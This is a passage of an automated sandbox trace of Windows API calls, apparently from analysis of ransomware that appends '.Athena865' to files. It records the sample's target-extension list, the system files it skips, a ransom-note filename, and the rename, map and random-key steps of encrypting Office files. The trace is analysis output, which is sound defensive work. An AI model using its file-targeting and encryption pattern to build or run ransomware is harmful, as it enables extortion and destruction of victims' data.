3 [0143.617] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0143.617] lstrlenW (lpString="ihx") returned 3 [0143.617] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0143.617] lstrlenW (lpString="itdb") returned 4 [0143.617] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0143.617] lstrlenW (lpString="itw") returned 3 [0143.617] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0143.617] lstrlenW (lpString="jet") returned 3 [0143.618] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0143.618] lstrlenW (lpString="jtx") returned 3 [0143.618] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0143.618] lstrlenW (lpString="kdb") returned 3 [0143.618] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0143.618] lstrlenW (lpString="kexi") returned 4 [0143.618] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0143.618] lstrlenW (lpString="kexic") returned 5 [0143.618] lstrcmpiW (lpString1="l.dll", lpString2="kexic") returned 1 [0143.618] lstrlenW (lpString="kexis") returned 5 [0143.618] lstrcmpiW (lpString1="l.dll", lpString2="kexis") returned 1 [0143.618] lstrlenW (lpString="lgc") returned 3 [0143.618] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0143.618] lstrlenW (lpString="lwx") returned 3 [0143.618] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0143.618] lstrlenW (lpString="maf") returned 3 [0143.618] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0143.618] lstrlenW (lpString="maq") returned 3 [0143.618] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0143.618] lstrlenW (lpString="mar") returned 3 [0143.618] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0143.618] lstrlenW (lpString="marshal") returned 7 [0143.618] lstrcmpiW (lpString1="ntl.dll", lpString2="marshal") returned 1 [0143.618] lstrlenW (lpString="mas") returned 3 [0143.618] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0143.618] lstrlenW (lpString="mav") returned 3 [0143.618] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0143.618] lstrlenW (lpString="maw") returned 3 [0143.618] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0143.619] lstrlenW (lpString="mdbhtml") returned 7 [0143.619] lstrcmpiW (lpString1="ntl.dll", lpString2="mdbhtml") returned 1 [0143.619] lstrlenW (lpString="mdn") returned 3 [0143.619] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0143.619] lstrlenW (lpString="mdt") returned 3 [0143.619] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0143.619] lstrlenW (lpString="mfd") returned 3 [0143.619] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0143.619] lstrlenW (lpString="mpd") returned 3 [0143.619] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0143.619] lstrlenW (lpString="mrg") returned 3 [0143.619] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0143.619] lstrlenW (lpString="mud") returned 3 [0143.619] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0143.619] lstrlenW (lpString="mwb") returned 3 [0143.619] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0143.619] lstrlenW (lpString="myd") returned 3 [0143.619] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0143.619] lstrlenW (lpString="ndf") returned 3 [0143.619] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0143.619] lstrlenW (lpString="nnt") returned 3 [0143.619] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0143.619] lstrlenW (lpString="nrmlib") returned 6 [0143.619] lstrcmpiW (lpString1="tl.dll", lpString2="nrmlib") returned 1 [0143.619] lstrlenW (lpString="ns2") returned 3 [0143.619] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0143.619] lstrlenW (lpString="ns3") returned 3 [0143.619] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0143.619] lstrlenW (lpString="ns4") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0143.620] lstrlenW (lpString="nsf") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0143.620] lstrlenW (lpString="nv") returned 2 [0143.620] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0143.620] lstrlenW (lpString="nv2") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0143.620] lstrlenW (lpString="nwdb") returned 4 [0143.620] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0143.620] lstrlenW (lpString="nyf") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0143.620] lstrlenW (lpString="odb") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0143.620] lstrlenW (lpString="odb") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0143.620] lstrlenW (lpString="oqy") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0143.620] lstrlenW (lpString="ora") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0143.620] lstrlenW (lpString="orx") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0143.620] lstrlenW (lpString="owc") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0143.620] lstrlenW (lpString="p96") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0143.620] lstrlenW (lpString="p97") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0143.620] lstrlenW (lpString="pan") returned 3 [0143.620] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0143.620] lstrlenW (lpString="pdb") returned 3 [0143.621] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0143.621] lstrlenW (lpString="pdm") returned 3 [0143.621] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0143.621] lstrlenW (lpString="pnz") returned 3 [0143.621] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0143.621] lstrlenW (lpString="qry") returned 3 [0143.621] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0143.621] lstrlenW (lpString="qvd") returned 3 [0143.621] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0143.621] lstrlenW (lpString="rbf") returned 3 [0143.621] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0143.621] lstrlenW (lpString="rctd") returned 4 [0143.621] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0143.621] lstrlenW (lpString="rod") returned 3 [0143.621] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0143.621] lstrlenW (lpString="rodx") returned 4 [0143.621] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0143.621] lstrlenW (lpString="rpd") returned 3 [0143.621] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0143.621] lstrlenW (lpString="rsd") returned 3 [0143.621] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0143.621] lstrlenW (lpString="sas7bdat") returned 8 [0143.621] lstrcmpiW (lpString1="Intl.dll", lpString2="sas7bdat") returned -1 [0143.621] lstrlenW (lpString="sbf") returned 3 [0143.621] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0143.621] lstrlenW (lpString="scx") returned 3 [0143.621] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0143.621] lstrlenW (lpString="sdb") returned 3 [0143.621] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0143.621] lstrlenW (lpString="sdc") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0143.622] lstrlenW (lpString="sdf") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0143.622] lstrlenW (lpString="sis") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0143.622] lstrlenW (lpString="spq") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0143.622] lstrlenW (lpString="te") returned 2 [0143.622] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0143.622] lstrlenW (lpString="teacher") returned 7 [0143.622] lstrcmpiW (lpString1="ntl.dll", lpString2="teacher") returned -1 [0143.622] lstrlenW (lpString="tmd") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0143.622] lstrlenW (lpString="tps") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0143.622] lstrlenW (lpString="trc") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0143.622] lstrlenW (lpString="trc") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0143.622] lstrlenW (lpString="trm") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0143.622] lstrlenW (lpString="udb") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0143.622] lstrlenW (lpString="udl") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0143.622] lstrlenW (lpString="usr") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0143.622] lstrlenW (lpString="v12") returned 3 [0143.622] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0143.622] lstrlenW (lpString="vis") returned 3 [0143.623] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0143.623] lstrlenW (lpString="vpd") returned 3 [0143.623] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0143.623] lstrlenW (lpString="vvv") returned 3 [0143.623] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0143.623] lstrlenW (lpString="wdb") returned 3 [0143.623] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0143.623] lstrlenW (lpString="wmdb") returned 4 [0143.623] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0143.623] lstrlenW (lpString="wrk") returned 3 [0143.623] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0143.623] lstrlenW (lpString="xdb") returned 3 [0143.623] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0143.623] lstrlenW (lpString="xld") returned 3 [0143.623] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0143.623] lstrlenW (lpString="xmlff") returned 5 [0143.623] lstrcmpiW (lpString1="l.dll", lpString2="xmlff") returned -1 [0143.623] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll.Athena865") returned 79 [0143.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll.athena865"), dwFlags=0x1) returned 1 [0143.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenotesyncpcintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.625] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9704) returned 1 [0143.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.625] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.626] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.626] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.626] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28f0, lpName=0x0) returned 0x17c [0143.628] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28f0) returned 0x100000 [0143.629] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.629] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.629] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.630] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.630] CloseHandle (hObject=0x17c) returned 1 [0143.630] CloseHandle (hObject=0x154) returned 1 [0143.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.631] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONENOTE_COL.HXC", cAlternateFileName="ONENOT~1.HXC")) returned 1 [0143.631] lstrcmpiW (lpString1="ONENOTE_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.631] lstrcmpiW (lpString1="ONENOTE_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.631] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ONENOTE_COL.HXC" | out: lpString1="ONENOTE_COL.HXC") returned="ONENOTE_COL.HXC" [0143.631] lstrlenW (lpString="ONENOTE_COL.HXC") returned 15 [0143.631] lstrlenW (lpString="Athena865") returned 9 [0143.631] lstrcmpiW (lpString1="E_COL.HXC", lpString2="Athena865") returned 1 [0143.631] lstrlenW (lpString=".dll") returned 4 [0143.631] lstrcmpiW (lpString1="ONENOTE_COL.HXC", lpString2=".dll") returned 1 [0143.631] lstrlenW (lpString=".lnk") returned 4 [0143.631] lstrcmpiW (lpString1="ONENOTE_COL.HXC", lpString2=".lnk") returned 1 [0143.631] lstrlenW (lpString=".ini") returned 4 [0143.631] lstrcmpiW (lpString1="ONENOTE_COL.HXC", lpString2=".ini") returned 1 [0143.631] lstrlenW (lpString=".sys") returned 4 [0143.631] lstrcmpiW (lpString1="ONENOTE_COL.HXC", lpString2=".sys") returned 1 [0143.631] lstrlenW (lpString="ONENOTE_COL.HXC") returned 15 [0143.631] lstrlenW (lpString="bak") returned 3 [0143.631] lstrcmpiW (lpString1="HXC", lpString2="bak") returned 1 [0143.631] lstrlenW (lpString="ba_") returned 3 [0143.631] lstrcmpiW (lpString1="HXC", lpString2="ba_") returned 1 [0143.631] lstrlenW (lpString="dbb") returned 3 [0143.631] lstrcmpiW (lpString1="HXC", lpString2="dbb") returned 1 [0143.631] lstrlenW (lpString="vmdk") returned 4 [0143.631] lstrcmpiW (lpString1=".HXC", lpString2="vmdk") returned -1 [0143.631] lstrlenW (lpString="rar") returned 3 [0143.631] lstrcmpiW (lpString1="HXC", lpString2="rar") returned -1 [0143.631] lstrlenW (lpString="zip") returned 3 [0143.631] lstrcmpiW (lpString1="HXC", lpString2="zip") returned -1 [0143.632] lstrlenW (lpString="tgz") returned 3 [0143.632] lstrcmpiW (lpString1="HXC", lpString2="tgz") returned -1 [0143.632] lstrlenW (lpString="vbox") returned 4 [0143.632] lstrcmpiW (lpString1=".HXC", lpString2="vbox") returned -1 [0143.632] lstrlenW (lpString="vdi") returned 3 [0143.632] lstrcmpiW (lpString1="HXC", lpString2="vdi") returned -1 [0143.632] lstrlenW (lpString="vhd") returned 3 [0143.632] lstrcmpiW (lpString1="HXC", lpString2="vhd") returned -1 [0143.632] lstrlenW (lpString="vhdx") returned 4 [0143.632] lstrcmpiW (lpString1=".HXC", lpString2="vhdx") returned -1 [0143.632] lstrlenW (lpString="avhd") returned 4 [0143.632] lstrcmpiW (lpString1=".HXC", lpString2="avhd") returned -1 [0143.632] lstrlenW (lpString="db") returned 2 [0143.632] lstrcmpiW (lpString1="XC", lpString2="db") returned 1 [0143.632] lstrlenW (lpString="db2") returned 3 [0143.632] lstrcmpiW (lpString1="HXC", lpString2="db2") returned 1 [0143.632] lstrlenW (lpString="db3") returned 3 [0143.632] lstrcmpiW (lpString1="HXC", lpString2="db3") returned 1 [0143.632] lstrlenW (lpString="dbf") returned 3 [0143.632] lstrcmpiW (lpString1="HXC", lpString2="dbf") returned 1 [0143.632] lstrlenW (lpString="mdf") returned 3 [0143.632] lstrcmpiW (lpString1="HXC", lpString2="mdf") returned -1 [0143.632] lstrlenW (lpString="mdb") returned 3 [0143.632] lstrcmpiW (lpString1="HXC", lpString2="mdb") returned -1 [0143.632] lstrlenW (lpString="sql") returned 3 [0143.632] lstrcmpiW (lpString1="HXC", lpString2="sql") returned -1 [0143.632] lstrlenW (lpString="sqlite") returned 6 [0143.632] lstrcmpiW (lpString1="OL.HXC", lpString2="sqlite") returned -1 [0143.632] lstrlenW (lpString="sqlite3") returned 7 [0143.632] lstrcmpiW (lpString1="COL.HXC", lpString2="sqlite3") returned -1 [0143.632] lstrlenW (lpString="sqlitedb") returned 8 [0143.633] lstrcmpiW (lpString1="_COL.HXC", lpString2="sqlitedb") returned -1 [0143.633] lstrlenW (lpString="xml") returned 3 [0143.633] lstrcmpiW (lpString1="HXC", lpString2="xml") returned -1 [0143.633] lstrlenW (lpString="$er") returned 3 [0143.633] lstrcmpiW (lpString1="HXC", lpString2="$er") returned 1 [0143.633] lstrlenW (lpString="4dd") returned 3 [0143.633] lstrcmpiW (lpString1="HXC", lpString2="4dd") returned 1 [0143.633] lstrlenW (lpString="4dl") returned 3 [0143.633] lstrcmpiW (lpString1="HXC", lpString2="4dl") returned 1 [0143.633] lstrlenW (lpString="^^^") returned 3 [0143.633] lstrcmpiW (lpString1="HXC", lpString2="^^^") returned 1 [0143.633] lstrlenW (lpString="abs") returned 3 [0143.633] lstrcmpiW (lpString1="HXC", lpString2="abs") returned 1 [0143.633] lstrlenW (lpString="abx") returned 3 [0143.633] lstrcmpiW (lpString1="HXC", lpString2="abx") returned 1 [0143.633] lstrlenW (lpString="accdb") returned 5 [0143.633] lstrcmpiW (lpString1="L.HXC", lpString2="accdb") returned 1 [0143.633] lstrlenW (lpString="accdc") returned 5 [0143.633] lstrcmpiW (lpString1="L.HXC", lpString2="accdc") returned 1 [0143.633] lstrlenW (lpString="accde") returned 5 [0143.633] lstrcmpiW (lpString1="L.HXC", lpString2="accde") returned 1 [0143.633] lstrlenW (lpString="accdr") returned 5 [0143.633] lstrcmpiW (lpString1="L.HXC", lpString2="accdr") returned 1 [0143.633] lstrlenW (lpString="accdt") returned 5 [0143.633] lstrcmpiW (lpString1="L.HXC", lpString2="accdt") returned 1 [0143.633] lstrlenW (lpString="accdw") returned 5 [0143.633] lstrcmpiW (lpString1="L.HXC", lpString2="accdw") returned 1 [0143.633] lstrlenW (lpString="accft") returned 5 [0143.633] lstrcmpiW (lpString1="L.HXC", lpString2="accft") returned 1 [0143.633] lstrlenW (lpString="adb") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0143.634] lstrlenW (lpString="adb") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="adb") returned 1 [0143.634] lstrlenW (lpString="ade") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="ade") returned 1 [0143.634] lstrlenW (lpString="adf") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="adf") returned 1 [0143.634] lstrlenW (lpString="adn") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="adn") returned 1 [0143.634] lstrlenW (lpString="adp") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="adp") returned 1 [0143.634] lstrlenW (lpString="alf") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="alf") returned 1 [0143.634] lstrlenW (lpString="ask") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="ask") returned 1 [0143.634] lstrlenW (lpString="btr") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="btr") returned 1 [0143.634] lstrlenW (lpString="cat") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="cat") returned 1 [0143.634] lstrlenW (lpString="cdb") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="cdb") returned 1 [0143.634] lstrlenW (lpString="ckp") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="ckp") returned 1 [0143.634] lstrlenW (lpString="cma") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="cma") returned 1 [0143.634] lstrlenW (lpString="cpd") returned 3 [0143.634] lstrcmpiW (lpString1="HXC", lpString2="cpd") returned 1 [0143.634] lstrlenW (lpString="dacpac") returned 6 [0143.634] lstrcmpiW (lpString1="OL.HXC", lpString2="dacpac") returned 1 [0143.634] lstrlenW (lpString="dad") returned 3 [0143.635] lstrcmpiW (lpString1="HXC", lpString2="dad") returned 1 [0143.635] lstrlenW (lpString="dadiagrams") returned 10 [0143.635] lstrcmpiW (lpString1="TE_COL.HXC", lpString2="dadiagrams") returned 1 [0143.635] lstrlenW (lpString="daschema") returned 8 [0143.635] lstrcmpiW (lpString1="_COL.HXC", lpString2="daschema") returned -1 [0143.635] lstrlenW (lpString="db-journal") returned 10 [0143.635] lstrcmpiW (lpString1="TE_COL.HXC", lpString2="db-journal") returned 1 [0143.635] lstrlenW (lpString="db-shm") returned 6 [0143.635] lstrcmpiW (lpString1="OL.HXC", lpString2="db-shm") returned 1 [0143.635] lstrlenW (lpString="db-wal") returned 6 [0143.635] lstrcmpiW (lpString1="OL.HXC", lpString2="db-wal") returned 1 [0143.635] lstrlenW (lpString="dbc") returned 3 [0143.635] lstrcmpiW (lpString1="HXC", lpString2="dbc") returned 1 [0143.635] lstrlenW (lpString="dbs") returned 3 [0143.635] lstrcmpiW (lpString1="HXC", lpString2="dbs") returned 1 [0143.635] lstrlenW (lpString="dbt") returned 3 [0143.635] lstrcmpiW (lpString1="HXC", lpString2="dbt") returned 1 [0143.635] lstrlenW (lpString="dbv") returned 3 [0143.635] lstrcmpiW (lpString1="HXC", lpString2="dbv") returned 1 [0143.635] lstrlenW (lpString="dbx") returned 3 [0143.635] lstrcmpiW (lpString1="HXC", lpString2="dbx") returned 1 [0143.635] lstrlenW (lpString="dcb") returned 3 [0143.635] lstrcmpiW (lpString1="HXC", lpString2="dcb") returned 1 [0143.635] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.Athena865") returned 73 [0143.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.athena865"), dwFlags=0x1) returned 1 [0143.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.637] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=631) returned 1 [0143.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.637] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.638] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.638] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.638] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x17c [0143.640] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0143.641] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.642] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.642] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.642] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.643] CloseHandle (hObject=0x17c) returned 1 [0143.643] CloseHandle (hObject=0x154) returned 1 [0143.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: 